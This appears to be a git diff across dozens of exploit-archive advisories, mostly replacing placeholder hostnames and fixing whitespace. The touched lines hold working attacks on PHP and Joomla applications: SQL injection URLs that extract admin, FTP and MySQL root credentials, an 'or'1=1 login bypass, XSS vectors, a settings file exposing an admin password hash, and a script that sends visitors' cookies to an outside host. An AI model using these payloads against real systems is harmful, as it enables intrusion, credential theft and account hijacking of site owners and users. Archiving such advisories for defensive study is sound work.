9ceb09ad9..2a2dafae1 100755 --- a/platforms/php/webapps/11036.txt +++ b/platforms/php/webapps/11036.txt @@ -8,8 +8,8 @@ XSS: -http://[someserver]/[roundcube_path]/program/steps/error.inc?ERROR_CODE=601&ERROR_MESSAGE=123 +http://[somesite.com]/[roundcube_path]/program/steps/error.inc?ERROR_CODE=601&ERROR_MESSAGE=123 We can get FPD or roundcube installation path via: -http://www.[someserver]/webmail/program/steps/settings/identities.inc \ No newline at end of file +http://www.[somesite.com]/webmail/program/steps/settings/identities.inc \ No newline at end of file diff --git a/platforms/php/webapps/11061.txt b/platforms/php/webapps/11061.txt index 5f27c9d38..4fdb4c6e2 100755 --- a/platforms/php/webapps/11061.txt +++ b/platforms/php/webapps/11061.txt @@ -14,11 +14,11 @@ Demo : _______ -http://server/p3/index.php?option=com_tophotelmodule&task=showhoteldetails&id=3+and substring(@@version,1,1)=4 > ( FALSE ) +http://site.com/p3/index.php?option=com_tophotelmodule&task=showhoteldetails&id=3+and substring(@@version,1,1)=4 > ( FALSE ) -http://server/p3/index.php?option=com_tophotelmodule&task=showhoteldetails&id=3+and substring(@@version,1,1)=5 > ( TRUE ) +http://site.com/p3/index.php?option=com_tophotelmodule&task=showhoteldetails&id=3+and substring(@@version,1,1)=5 > ( TRUE ) diff --git a/platforms/php/webapps/11082.txt b/platforms/php/webapps/11082.txt index 25a567cd9..2c4735227 100755 --- a/platforms/php/webapps/11082.txt +++ b/platforms/php/webapps/11082.txt @@ -72,4 +72,4 @@ Bizim Asiret: eXceptioN,CodeInside,CristaL1o,Hack3ra,eXtReMe,By_HKC,TerrorZveng -########################################################################### \ No newline at end of file +########################################################################### \ No newline at end of file diff --git a/platforms/php/webapps/1111.pl b/platforms/php/webapps/1111.pl index 4c1301efd..517bd3993 100755 --- a/platforms/php/webapps/1111.pl +++ b/platforms/php/webapps/1111.pl @@ -10,7 +10,7 @@ if (@ARGV != 3) { print "\nUsage: $0 [server] [path] [id]\n"; - print "like $0 forum.myserver / 1\n"; + print "like $0 forum.mysite.com / 1\n"; print "If found nothing - forum NOT vulnerable\n\n"; exit (); } diff --git a/platforms/php/webapps/11124.txt b/platforms/php/webapps/11124.txt index 431492f95..84982285e 100755 --- a/platforms/php/webapps/11124.txt +++ b/platforms/php/webapps/11124.txt @@ -67,4 +67,4 @@ into different areas. Addt'l Address 1: <script>alert('xss');// Addt'l Address 2: //--></script> Keep in mind each address field has a ~96 char limit. -######################################################### \ No newline at end of file +######################################################### \ No newline at end of file diff --git a/platforms/php/webapps/11156.txt b/platforms/php/webapps/11156.txt index b4eeca1e0..219dcc078 100755 --- a/platforms/php/webapps/11156.txt +++ b/platforms/php/webapps/11156.txt @@ -1,4 +1,4 @@ -\#'#/ + \#'#/ (-.-) --------------------oOO---(_)---OOo------------------- | PHP-RESIDENCE <= 0.7.2 Multiple LFI Vulnerability | diff --git a/platforms/php/webapps/11157.txt b/platforms/php/webapps/11157.txt index 8ba20f542..d8227946d 100755 --- a/platforms/php/webapps/11157.txt +++ b/platforms/php/webapps/11157.txt @@ -1,4 +1,4 @@ -\#'#/ + \#'#/ (-.-) --------------------oOO---(_)---OOo------------------- | MoME CMS <= 0.8.5 Remote Login Bypass Exploit | diff --git a/platforms/php/webapps/11158.txt b/platforms/php/webapps/11158.txt index 5644eaab3..b01bdff57 100755 --- a/platforms/php/webapps/11158.txt +++ b/platforms/php/webapps/11158.txt @@ -1,4 +1,4 @@ -\#'#/ + \#'#/ (-.-) --------------------oOO---(_)---OOo------------------- | RoseOnlineCMS <= 3 B1 Remote Login Bypass Exploit | diff --git a/platforms/php/webapps/11159.txt b/platforms/php/webapps/11159.txt index 639058648..6e89ccd72 100755 --- a/platforms/php/webapps/11159.txt +++ b/platforms/php/webapps/11159.txt @@ -1,4 +1,4 @@ -\#'#/ + \#'#/ (-.-) --------------------oOO---(_)---OOo------------------- | DasForum (layout) Local File Inclusion Exploit | diff --git a/platforms/php/webapps/11166.txt b/platforms/php/webapps/11166.txt index a09df8c00..98040433c 100755 --- a/platforms/php/webapps/11166.txt +++ b/platforms/php/webapps/11166.txt @@ -12,8 +12,8 @@ Rename your shell.php in shell.php.pjpeg and Upload ! -- [Retrieve Password] -- -Go to : http://server/[path]/data/settings.db +Go to : http://site.com/[path]/data/settings.db "admin_password";s:32:"468f7b0aaba9a806a0ce5bc4d4482164" -and go http://server/[path]/admin.php :) \ No newline at end of file +and go http://site.com/[path]/admin.php :) \ No newline at end of file diff --git a/platforms/php/webapps/11198.txt b/platforms/php/webapps/11198.txt index 41bac2ef8..c6268d7e7 100755 --- a/platforms/php/webapps/11198.txt +++ b/platforms/php/webapps/11198.txt @@ -1,4 +1,4 @@ -\#'#/ + \#'#/ (-.-) --------------------oOO---(_)---OOo------------------- | al3jeb script Remote Login Bypass Exploit | diff --git a/platforms/php/webapps/11222.txt b/platforms/php/webapps/11222.txt index 1407ed23f..9ee5cff5f 100755 --- a/platforms/php/webapps/11222.txt +++ b/platforms/php/webapps/11222.txt @@ -33,3 +33,4 @@ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! [~]>> ...[END ADVISORY]... + \ No newline at end of file diff --git a/platforms/php/webapps/11236.txt b/platforms/php/webapps/11236.txt index facd9402f..ea38f5801 100755 --- a/platforms/php/webapps/11236.txt +++ b/platforms/php/webapps/11236.txt @@ -23,7 +23,7 @@ ------------------------[BEGIN-SNIP{searchword var}]--------------------------------- POST http://server/index.php/search.html HTTP/1.1 -Host: server +Host: www.server.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 @@ -47,3 +47,4 @@ areas%5B%5D=content&Itemid=1&sectionid=0&limitstart= !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! [~]>> ...[END ADVISORY]... + \ No newline at end of file diff --git a/platforms/php/webapps/11237.txt b/platforms/php/webapps/11237.txt index 442840a04..05b36a6fa 100755 --- a/platforms/php/webapps/11237.txt +++ b/platforms/php/webapps/11237.txt @@ -30,3 +30,4 @@ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! [~]>> ...[END ADVISORY]... + \ No newline at end of file diff --git a/platforms/php/webapps/11238.txt b/platforms/php/webapps/11238.txt index 78b2299f0..389c99b13 100755 --- a/platforms/php/webapps/11238.txt +++ b/platforms/php/webapps/11238.txt @@ -27,3 +27,4 @@ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! [~]>> ...[END ADVISORY]... + \ No newline at end of file diff --git a/platforms/php/webapps/11239.txt b/platforms/php/webapps/11239.txt index 7c2ba028a..fc72939b9 100755 --- a/platforms/php/webapps/11239.txt +++ b/platforms/php/webapps/11239.txt @@ -44,3 +44,4 @@ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! [~]>> ...[END ADVISORY]... + \ No newline at end of file diff --git a/platforms/php/webapps/11270.txt b/platforms/php/webapps/11270.txt index 82a1ed7b1..174473712 100755 --- a/platforms/php/webapps/11270.txt +++ b/platforms/php/webapps/11270.txt @@ -46,3 +46,4 @@ Array ( [0] => option [1] => [JOOMLA_PATH] [2] => ' AND 1=1 ) !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! [~]>> ...[END ADVISORY]... + \ No newline at end of file diff --git a/platforms/php/webapps/11271.txt b/platforms/php/webapps/11271.txt index 419b84b95..4ad7bc8a3 100755 --- a/platforms/php/webapps/11271.txt +++ b/platforms/php/webapps/11271.txt @@ -29,3 +29,4 @@ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! [~]>> ...[END ADVISORY]... + \ No newline at end of file diff --git a/platforms/php/webapps/11277.txt b/platforms/php/webapps/11277.txt index 6da78bb69..64728b4f1 100755 --- a/platforms/php/webapps/11277.txt +++ b/platforms/php/webapps/11277.txt @@ -28,3 +28,4 @@ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! [~]>> ...[END ADVISORY]... + \ No newline at end of file diff --git a/platforms/php/webapps/11279.txt b/platforms/php/webapps/11279.txt index 45a4003be..57862579e 100755 --- a/platforms/php/webapps/11279.txt +++ b/platforms/php/webapps/11279.txt @@ -32,3 +32,4 @@ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! [~]>> ...[END ADVISORY]... + \ No newline at end of file diff --git a/platforms/php/webapps/11280.txt b/platforms/php/webapps/11280.txt index 2251cb28c..ffc5057f7 100755 --- a/platforms/php/webapps/11280.txt +++ b/platforms/php/webapps/11280.txt @@ -31,3 +31,4 @@ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! [~]>> ...[END ADVISORY]... + \ No newline at end of file diff --git a/platforms/php/webapps/11284.txt b/platforms/php/webapps/11284.txt index 10fa38f96..8afed5dee 100755 --- a/platforms/php/webapps/11284.txt +++ b/platforms/php/webapps/11284.txt @@ -1,4 +1,4 @@ -______ __ ______ + ______ __ ______ /\ == \ /\ \ /\ __ \ \ \ __< \ \ \ \ \ \/\ \ \ \_____\ \ \_\ \ \_____\ diff --git a/platforms/php/webapps/11286.txt b/platforms/php/webapps/11286.txt index 3a94258d3..69c9d6cfe 100755 --- a/platforms/php/webapps/11286.txt +++ b/platforms/php/webapps/11286.txt @@ -31,3 +31,4 @@ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! [~]>> ...[END ADVISORY]... + \ No newline at end of file diff --git a/platforms/php/webapps/11287.txt b/platforms/php/webapps/11287.txt index 4978d97eb..f3d2d8743 100755 --- a/platforms/php/webapps/11287.txt +++ b/platforms/php/webapps/11287.txt @@ -31,3 +31,4 @@ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! [~]>> ...[END ADVISORY]... + \ No newline at end of file diff --git a/platforms/php/webapps/11292.txt b/platforms/php/webapps/11292.txt index 567eefb40..5f9a51065 100755 --- a/platforms/php/webapps/11292.txt +++ b/platforms/php/webapps/11292.txt @@ -26,3 +26,4 @@ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! [~]>> ...[END ADVISORY]... + \ No newline at end of file diff --git a/platforms/php/webapps/11294.txt b/platforms/php/webapps/11294.txt index 001d6b45c..aef56783f 100755 --- a/platforms/php/webapps/11294.txt +++ b/platforms/php/webapps/11294.txt @@ -14,11 +14,11 @@ Joomla Component com_simplefaq (catid) Blind Sql Injection Vulnerability ===[ Exploit ]=== -www.server/index.php?option=com_simplefaq&func=display&Itemid=49&catid=70[Blind Injection]&page=1#FAQ5 +www.site.com/index.php?option=com_simplefaq&func=display&Itemid=49&catid=70[Blind Injection]&page=1#FAQ5 -www.server/index.php?option=com_simplefaq&func=display&Itemid=49&catid=70+and substring(@@version,1,1)=5&page=1#FAQ5 >>>> True +www.site.com/index.php?option=com_simplefaq&func=display&Itemid=49&catid=70+and substring(@@version,1,1)=5&page=1#FAQ5 >>>> True -www.server/index.php?option=com_simplefaq&func=display&Itemid=49&catid=70+and substring(@@version,1,1)=4&page=1#FAQ5 >>>> False +www.site.com/index.php?option=com_simplefaq&func=display&Itemid=49&catid=70+and substring(@@version,1,1)=4&page=1#FAQ5 >>>> False ===[ Example ]=== diff --git a/platforms/php/webapps/11296.txt b/platforms/php/webapps/11296.txt index 5ba3b9b6d..37ec846d5 100755 --- a/platforms/php/webapps/11296.txt +++ b/platforms/php/webapps/11296.txt @@ -14,9 +14,9 @@ ===[ Exploit ]=== -www.server/page.php?id=21&aid=12[SQL INJECTION]&s=3 +www.site.com/page.php?id=21&aid=12[SQL INJECTION]&s=3 -www.server/page.php?id=21&aid=-12'+union+select+1,version(),3,4,5,6,7,8-- -&s=3 +www.site.com/page.php?id=21&aid=-12'+union+select+1,version(),3,4,5,6,7,8-- -&s=3 ===[ Example ]=== diff --git a/platforms/php/webapps/11300.txt b/platforms/php/webapps/11300.txt index 0f1302bfe..3236444d3 100755 --- a/platforms/php/webapps/11300.txt +++ b/platforms/php/webapps/11300.txt @@ -10,11 +10,11 @@ ===[ Exploit ]=== -www.server/page.php?pg=18+and+1=1 >>> True -www.server/page.php?pg=18+and+1=2 >>> False +www.site.com/page.php?pg=18+and+1=1 >>> True +www.site.com/page.php?pg=18+and+1=2 >>> False -www.server/page.php?pg=18+and+substring(@@version,1,1)=5 >>> True -www.server/page.php?pg=18+and+substring(@@version,1,1)=4 >>> False +www.site.com/page.php?pg=18+and+substring(@@version,1,1)=5 >>> True +www.site.com/page.php?pg=18+and+substring(@@version,1,1)=4 >>> False #################################################################### diff --git a/platforms/php/webapps/11303.txt b/platforms/php/webapps/11303.txt index 7c9197166..52c4461ea 100755 --- a/platforms/php/webapps/11303.txt +++ b/platforms/php/webapps/11303.txt @@ -6,7 +6,7 @@ # Vendor: http://www.sis-eg.com ################################################################# Vulnerability: -http://server/index.php?module=subjects&func=viewpage&pageid=-1+union+select+1,2,3,null,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,null,14,15,16,17-- +http://site.com/index.php?module=subjects&func=viewpage&pageid=-1+union+select+1,2,3,null,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,null,14,15,16,17-- ################################################################# # Discoverd By: Pouya Daneshmand # Website: http://securitylab.ir diff --git a/platforms/php/webapps/11305.txt b/platforms/php/webapps/11305.txt index f6929ed5b..0c09ff4d7 100755 --- a/platforms/php/webapps/11305.txt +++ b/platforms/php/webapps/11305.txt @@ -21,12 +21,12 @@ Shout! (content.php) Blind Sql Injection Vulnerability ===[ Exploit ]=== -www.server/content.php?id=54+and+1=1 >>> True -www.server/content.php?id=54+and+1=2 >>> False +www.site.com/content.php?id=54+and+1=1 >>> True +www.site.com/content.php?id=54+and+1=2 >>> False -www.server/content.php?id=54+and substring(@@version,1,1)=4 >>> True -www.server/content.php?id=54+and substring(@@version,1,1)=5 >>> False +www.site.com/content.php?id=54+and substring(@@version,1,1)=4 >>> True +www.site.com/content.php?id=54+and substring(@@version,1,1)=5 >>> False diff --git a/platforms/php/webapps/11321.txt b/platforms/php/webapps/11321.txt index 3c2c4414f..36ce26fa7 100755 --- a/platforms/php/webapps/11321.txt +++ b/platforms/php/webapps/11321.txt @@ -14,16 +14,16 @@ MobPartner Chat Multiple Sql Injection Vulnerability ===[ Exploit ]=== -www.server/chat.php?id=[SQL INJECTION] -www.server/write.php?id=[SQL INJECTION] +www.site.com/chat.php?id=[SQL INJECTION] +www.site.com/write.php?id=[SQL INJECTION] ******************************************************************** T0 Get Username & Password Admin Site [Sql Injection ; {Username & password Admin}] -www.server/chat.php?id=null+and+1=2+union+select+1,concat(id,0x3a,username,0x3a,password),3,4,5,6+from+texad_admin.users-- -www.server/write.php?id=null+and+1=2+union+select+1,concat(id,0x3a,username,0x3a,password),3,4,5,6+from+texad_admin.users-- +www.site.com/chat.php?id=null+and+1=2+union+select+1,concat(id,0x3a,username,0x3a,password),3,4,5,6+from+texad_admin.users-- +www.site.com/write.php?id=null+and+1=2+union+select+1,concat(id,0x3a,username,0x3a,password),3,4,5,6+from+texad_admin.users-- ******************************************************************** @@ -31,8 +31,8 @@ www.server/write.php?id=null+and+1=2+union+select+1,concat(id,0x3a,username,0x3a [Sql Injection ; {Username & Password FTP Control Panel}] -www.server/chat.php?id=null+and+1=2+union+select+1,concat(user,0x3a,password),3,4,5,6+from+pureftpd.ftpd-- -www.server/write.php?id=null+and+1=2+union+select+1,concat(user,0x3a,password),3,4,5,6+from+pureftpd.ftpd-- +www.site.com/chat.php?id=null+and+1=2+union+select+1,concat(user,0x3a,password),3,4,5,6+from+pureftpd.ftpd-- +www.site.com/write.php?id=null+and+1=2+union+select+1,concat(user,0x3a,password),3,4,5,6+from+pureftpd.ftpd-- ******************************************************************** @@ -40,8 +40,8 @@ www.server/write.php?id=null+and+1=2+union+select+1,concat(user,0x3a,password),3 [Sql Injection ; {Username & Password Root Server}] -www.server/chat.php?id=null+and+1=2+union+select+1,concat(host,0x3a,user,0x3a,password),3,4,5,6+from+mysql.user-- -www.server/write.php?id=null+and+1=2+union+select+1,concat(host,0x3a,user,0x3a,password),3,4,5,6+from+mysql.user-- +www.site.com/chat.php?id=null+and+1=2+union+select+1,concat(host,0x3a,user,0x3a,password),3,4,5,6+from+mysql.user-- +www.site.com/write.php?id=null+and+1=2+union+select+1,concat(host,0x3a,user,0x3a,password),3,4,5,6+from+mysql.user-- #################################################################### diff --git a/platforms/php/webapps/11325.txt b/platforms/php/webapps/11325.txt index df36d44e8..7184a6322 100755 --- a/platforms/php/webapps/11325.txt +++ b/platforms/php/webapps/11325.txt @@ -14,15 +14,15 @@ RealAdmin (detail.php) Blind Sql Injection Vulnerability ===[ Exploit ]=== -www.server/detail.php?id=[Blind SQL INJECTION] +www.site.com/detail.php?id=[Blind SQL INJECTION] -www.server/detail.php?id=NULL+and+1=1 >>> True -www.server/detail.php?id=NULL+and+1=2 >>> False +www.site.com/detail.php?id=NULL+and+1=1 >>> True +www.site.com/detail.php?id=NULL+and+1=2 >>> False -www.server/detail.php?id=NULL+and+substring(@@version,1,1)=5 >>> True -www.server/detail.php?id=NULL+and+substring(@@version,1,1)=4 >>> False +www.site.com/detail.php?id=NULL+and+substring(@@version,1,1)=5 >>> True +www.site.com/detail.php?id=NULL+and+substring(@@version,1,1)=4 >>> False #################################################################### diff --git a/platforms/php/webapps/11326.txt b/platforms/php/webapps/11326.txt index 2f8f9ca5e..b4a21197a 100755 --- a/platforms/php/webapps/11326.txt +++ b/platforms/php/webapps/11326.txt @@ -14,15 +14,15 @@ cityadmin (links.php) Blind Sql Injection Vulnerability ===[ Exploit ]=== -www.server/links.php?id=[Blind SQL INJECTION] +www.site.com/links.php?id=[Blind SQL INJECTION] -www.server/links.php?id=NULL+and+1=1 >>> True -www.server/links.php?id=NULL+and+1=2 >>> False +www.site.com/links.php?id=NULL+and+1=1 >>> True +www.site.com/links.php?id=NULL+and+1=2 >>> False -www.server/links.php?id=NULL+and+substring(@@version,1,1)=5 >>> True -www.server/links.php?id=NULL+and+substring(@@version,1,1)=4 >>> False +www.site.com/links.php?id=NULL+and+substring(@@version,1,1)=5 >>> True +www.site.com/links.php?id=NULL+and+substring(@@version,1,1)=4 >>> False diff --git a/platforms/php/webapps/11327.txt b/platforms/php/webapps/11327.txt index 053cd9a57..209080eb7 100755 --- a/platforms/php/webapps/11327.txt +++ b/platforms/php/webapps/11327.txt @@ -14,15 +14,15 @@ myBusinessAdmin (content.php) Blind Sql Injection Vulnerability ===[ Exploit ]=== -www.server/content.php?id=[Blind SQL INJECTION] +www.site.com/content.php?id=[Blind SQL INJECTION] -www.server/content.php?id=NULL+and+1=1 >>> True -www.server/content.php?id=NULL+and+1=2 >>> False +www.site.com/content.php?id=NULL+and+1=1 >>> True +www.site.com/content.php?id=NULL+and+1=2 >>> False -www.server/content.php?id=NULL+and+substring(@@version,1,1)=5 >>> True -www.server/content.php?id=NULL+and+substring(@@version,1,1)=4 >>> False +www.site.com/content.php?id=NULL+and+substring(@@version,1,1)=5 >>> True +www.site.com/content.php?id=NULL+and+substring(@@version,1,1)=4 >>> False diff --git a/platforms/php/webapps/11336.txt b/platforms/php/webapps/11336.txt index dfe42fa31..bb4179d91 100755 --- a/platforms/php/webapps/11336.txt +++ b/platforms/php/webapps/11336.txt @@ -13,20 +13,20 @@ Open Bulletin Board Multiple Blind Sql Injection Vulnerability ===[ Exploit ]=== -www.server/board.php?FID=[Blind Injection] -www.server/read.php?FID=[Blind Injection] +www.site.com/board.php?FID=[Blind Injection] +www.site.com/read.php?FID=[Blind Injection] -www.server/board.php?FID=3+and+1=1 >>> True -www.server/board.php?FID=3+and+1=2 >>> False -www.server/board.php?FID=3+and+substring(@@version,1,1)=5 >>> True -www.server/board.php?FID=3+and+substring(@@version,1,1)=4 >>> False +www.site.com/board.php?FID=3+and+1=1 >>> True +www.site.com/board.php?FID=3+and+1=2 >>> False +www.site.com/board.php?FID=3+and+substring(@@version,1,1)=5 >>> True +www.site.com/board.php?FID=3+and+substring(@@version,1,1)=4 >>> False -www.server/read.php?FID=3+and+1=1 >>> True -www.server/read.php?FID=3+and+1=2 >>> False -www.server/read.php?FID=3+and+substring(@@version,1,1)=5 >>> True -www.server/read.php?FID=3+and+substring(@@version,1,1)=4 >>> False +www.site.com/read.php?FID=3+and+1=1 >>> True +www.site.com/read.php?FID=3+and+1=2 >>> False +www.site.com/read.php?FID=3+and+substring(@@version,1,1)=5 >>> True +www.site.com/read.php?FID=3+and+substring(@@version,1,1)=4 >>> False #################################################################### diff --git a/platforms/php/webapps/11337.txt b/platforms/php/webapps/11337.txt index 9992173bf..1fdfb3611 100755 --- a/platforms/php/webapps/11337.txt +++ b/platforms/php/webapps/11337.txt @@ -13,10 +13,10 @@ Joomla (com_photoblog) Blind Sql Injection Vulnerability ===[ Exploit ]=== -www.server/detail.php?id=[Blind<http://www.server/detail.php?id=[Blind> SQL INJECTION] +www.site.com/detail.php?id=[Blind<http://www.site.com/detail.php?id=[Blind> SQL INJECTION] -www.server/index.php?option=com_photoblog&view=images&category=1&celebs&blog=1+and<http://www.server/index.php?option=com_photoblog&view=images&category=1&celebs&blog=1+and> substring(@@version,1,1)=5 +www.site.com/index.php?option=com_photoblog&view=images&category=1&celebs&blog=1+and<http://www.site.com/index.php?option=com_photoblog&view=images&category=1&celebs&blog=1+and> substring(@@version,1,1)=5 #################################################################### diff --git a/platforms/php/webapps/11350.txt b/platforms/php/webapps/11350.txt index ecd2319f2..b1097ca48 100755 --- a/platforms/php/webapps/11350.txt +++ b/platforms/php/webapps/11350.txt @@ -6,7 +6,7 @@ #and it is vulnerable to sql injection vulnerability -#http://server/[cms]/index.php?id=m&lnk='[sql injection here] +#http://site.com/[cms]/index.php?id=m&lnk='[sql injection here] diff --git a/platforms/php/webapps/11358.txt b/platforms/php/webapps/11358.txt index dfdd5088c..cf2a04ad5 100755 --- a/platforms/php/webapps/11358.txt +++ b/platforms/php/webapps/11358.txt @@ -24,9 +24,9 @@ ------------------------------------------------------------------------------------------------------------------------- # '';!--"<XSS>=&{()}' ------------------------------------------------------------------------------------ - <script SRC=http//:server/xss.js></put_SCRIPT> - <a hreef="http://www.server://server/server/">put_code</a> - <a href="http://server./">put_code</a> + <script SRC=http//:server.com/xss.js></put_SCRIPT> + <a hreef="http://www.server://www.server.com/server.com/">put_code</a> + <a href="http://www.server.com./">put_code</a> <marquee>http://server.net">put_code</marquee> <a href="//srver.net">put_code</A> <a href="http://0x1x.01x0061.0x6/">put_code</a> diff --git a/platforms/php/webapps/11368.txt b/platforms/php/webapps/11368.txt index b03a69bf5..6bbb956c2 100755 --- a/platforms/php/webapps/11368.txt +++ b/platforms/php/webapps/11368.txt @@ -20,17 +20,17 @@ http://server/path/file.php?id=null[SQL] ===[ Example ]=== -http://server/files/services.php?id=-34%20union%20select%201,2,concat%28login,0x3a,password%29,4,5,6+from+login_table+where%20login_id=1 +http://site.com/files/services.php?id=-34%20union%20select%201,2,concat%28login,0x3a,password%29,4,5,6+from+login_table+where%20login_id=1 -http://server/latest_news.php?id=-3%20union%20select%201,group_concat%28username,0x3a,password%29,3,4,5,6,7,8+from+login +http://site.com/latest_news.php?id=-3%20union%20select%201,group_concat%28username,0x3a,password%29,3,4,5,6,7,8+from+login -http://server/files/company.php?cat_id=-2%20union%20select%201,group_concat%28Login_Name,0x3a,Password%29,3,4,5,6,7,8+from+login_table +http://site.com/files/company.php?cat_id=-2%20union%20select%201,group_concat%28Login_Name,0x3a,Password%29,3,4,5,6,7,8+from+login_table -http://server/files/product_detail.php?item_id=-122%20union%20select%201,2,3,group_concat%28Login_Name,0x3a,Password%29,5,6,7,8,9+from+login_table +http://site.com/files/product_detail.php?item_id=-122%20union%20select%201,2,3,group_concat%28Login_Name,0x3a,Password%29,5,6,7,8,9+from+login_table -http://server/files/product.php?cat_id=-29 union select 1,group_concat(login,0x3a,password),3,4,5,6,7+from+login_table +http://site.com/files/product.php?cat_id=-29 union select 1,group_concat(login,0x3a,password),3,4,5,6,7+from+login_table -http://server/files/detail.php?id=34&page_id=-3%20union%20select%201,group_concat%28login,0x3a,password%29,3,4,5,6+from+login_table +http://site.com/files/detail.php?id=34&page_id=-3%20union%20select%201,group_concat%28login,0x3a,password%29,3,4,5,6+from+login_table diff --git a/platforms/php/webapps/11382.txt b/platforms/php/webapps/11382.txt index d3535ebdb..0f7c23b41 100755 --- a/platforms/php/webapps/11382.txt +++ b/platforms/php/webapps/11382.txt @@ -13,13 +13,13 @@ eSmile (index.php) Sql Injection Vulnerability ===[ Exploit ]=== -www.server/index.php?do=show&cid=null[Sql Injection] +www.site.com/index.php?do=show&cid=null[Sql Injection] -www.server/index.php?do=show&cid=null'/**/and/**/1=2/**/union/**/select/**/111,222,333,444,555,CONCAT_WS(CHAR(32,58,32),user(),database(),version())-- - -www.server/index.php?do=show&cid=null'/**/and/**/1=2/**/union/**/select/**/111,222,333,444,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),666-- - +www.site.com/index.php?do=show&cid=null'/**/and/**/1=2/**/union/**/select/**/111,222,333,444,555,CONCAT_WS(CHAR(32,58,32),user(),database(),version())-- - +www.site.com/index.php?do=show&cid=null'/**/and/**/1=2/**/union/**/select/**/111,222,333,444,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),666-- - T0 Bypass Not Acceptable -www.server/index.php?do=show&cid=-NULL'/**/UNION/**/ALL/**/SELECT/**/111,222,333,444,555,CONCAT_WS(CHAR(32,58,32),user(),database(),version())-- - +www.site.com/index.php?do=show&cid=-NULL'/**/UNION/**/ALL/**/SELECT/**/111,222,333,444,555,CONCAT_WS(CHAR(32,58,32),user(),database(),version())-- - diff --git a/platforms/php/webapps/11383.txt b/platforms/php/webapps/11383.txt index d689615ad..70dd50f44 100755 --- a/platforms/php/webapps/11383.txt +++ b/platforms/php/webapps/11383.txt @@ -17,32 +17,32 @@ HASHE! Multiple Sql Injection Vulnerability ===[ Exploit ]=== -www.server/home.php?id=37[Sql Injection] -www.server/home.php?id=37/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,group_concat(username,0x3a,password),7/**/from/**/admin +www.site.com/home.php?id=37[Sql Injection] +www.site.com/home.php?id=37/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,group_concat(username,0x3a,password),7/**/from/**/admin -www.server/bar_detail.php?id=null[Sql Injection] -www.server/bar_detail.php?id=null'/**/and/**/1=2/**/UNION/**/SELECT/**/1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28/**/from/**/admin-- - +www.site.com/bar_detail.php?id=null[Sql Injection] +www.site.com/bar_detail.php?id=null'/**/and/**/1=2/**/UNION/**/SELECT/**/1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28/**/from/**/admin-- - Sql Injection [Blind] ===[ Exploit ]=== -www.server/propertydetails.php?Id=null[BLIND] +www.site.com/propertydetails.php?Id=null[BLIND] -www.server/propertydetails.php?Id=null+and+1=1 >>> True -www.server/propertydetails.php?Id=null+and+1=2 >>> False +www.site.com/propertydetails.php?Id=null+and+1=1 >>> True +www.site.com/propertydetails.php?Id=null+and+1=2 >>> False -www.server/propertydetails.php?Id=null+and+substring(@@version,1,1)=4 >>> True -www.server/propertydetails.php?Id=null+and+substring(@@version,1,1)=5 >>> False +www.site.com/propertydetails.php?Id=null+and+substring(@@version,1,1)=4 >>> True +www.site.com/propertydetails.php?Id=null+and+substring(@@version,1,1)=5 >>> False -www.server/propertydetails.php?Id=null+and+(select substring(concat(1,concat(name,0x3a,password)),1,1) from admin limit 0,1)=1 +www.site.com/propertydetails.php?Id=null+and+(select substring(concat(1,concat(name,0x3a,password)),1,1) from admin limit 0,1)=1 Sql Injection [Auth Bypass] ===[ Exploit ]=== -www.server/admin/ +www.site.com/admin/ Bug Type: Bar Manager Username: 'or'1=1 diff --git a/platforms/php/webapps/11394.txt b/platforms/php/webapps/11394.txt index 3891c13f2..dd3d91cad 100755 --- a/platforms/php/webapps/11394.txt +++ b/platforms/php/webapps/11394.txt @@ -24,16 +24,16 @@ Note About lenght limitation forum / profile.php? do = editoptions Receive Email from Other Members = yes **** -server/forumpath/sendmessage.php?do=mailmember&u = (your id) +www.server.com/forumpath/sendmessage.php?do=mailmember&u = (your id) In the email write vashe@milo.com "> <script> img = new Image (); img.src =« http://antichat.ru/cgi-bin/s.jpg? »+ Document.cookie; </ script>. nomatt. Once preserved, it is important to make the option email visible to all. Then the helmet someone 